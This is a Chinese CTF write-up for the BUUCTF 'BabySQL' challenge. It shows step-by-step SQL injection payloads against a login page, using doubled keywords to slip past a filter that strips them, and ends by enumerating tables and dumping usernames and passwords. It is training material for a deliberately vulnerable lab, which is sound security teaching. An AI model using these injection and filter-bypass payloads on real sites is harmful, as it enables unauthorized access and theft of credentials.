BUUCTF [极客大挑战 2019] BabySQL

BUUCTF [极客大挑战 2019] BabySQL

启动靶机,打开环境:
BUUCTF [极客大挑战 2019] BabySQL_第1张图片
尝试登陆:
在这里插入图片描述
因为前两次的题目BUUCTF 极客大挑战 2019 EasySQL和 极客大挑战 2019 LoveSQL均用万能密码登陆成功,再次尝试:

/check.php
?username=admin' or '1'='1
&password=1

BUUCTF [极客大挑战 2019] BabySQL_第2张图片
登陆失败,尝试注释掉password内容:

/check.php
?username=admin' %23
&password=1

BUUCTF [极客大挑战 2019] BabySQL_第3张图片
登陆成功,尝试查询字段数:

/check.php
?username=admin' order by 3%23
&password=1

BUUCTF [极客大挑战 2019] BabySQL_第4张图片
根据报错信息,可以判断出屏蔽掉了关键字:or,所以万能密码登陆失败,尝试双写绕过:

/check.php
?username=admin' oorr '1'='1%23
&password=1

BUUCTF [极客大挑战 2019] BabySQL_第5张图片
因为存在将关键字置换为空的过滤,全部双写以绕过,查询字段数:

/check.php
?username=admin' uniunionon selselectect 1,2,3,4 %23
&password=1

BUUCTF [极客大挑战 2019] BabySQL_第6张图片
判断出字段数为3,查询回显点位:

/check.php
?username=1' uniunionon selselectect 11,22,33 %23
&password=1

BUUCTF [极客大挑战 2019] BabySQL_第7张图片
得到回显点位为23,查询当前数据库名及版本:

/check.php
?username=1' uniunionon selselectect 11,version(),database() %23
&password=1

BUUCTF [极客大挑战 2019] BabySQL_第8张图片
得到数据库名为:geek,继续查询当数据库中表名:

/check.php
?username=1' uniunionon selselectect 11,22,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=database() %23
&password=1

BUUCTF [极客大挑战 2019] BabySQL_第9张图片
得到两个表名为:b4bsqlgeekuser,查询第一个表中的内容:

/check.php
?username=1' uniunionon selselectect 11,22,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql' %23
&password=1

BUUCTF [极客大挑战 2019] BabySQL_第10张图片
得到该表中的字段信息,查询usernamepassword的内容:

/check.php
?username=1' uniunionon selselectect 11,22,group_concat(concat_ws(0x7e,username,passwoorrd)) frfromom geek.b4bsql %23
&password=1
// 将1和2通过~(十六进制形式)连接
// 类似:username~password
group_concat(concat_ws(0x7e,1,2))

在这里插入图片描述
BUUCTF [极客大挑战 2019] BabySQL_第11张图片

得到flag,完成题目

你可能感兴趣的:(BUUCTF,WEB,Writeup,安全,SQL注入,BUUCTF,极客大挑战2019)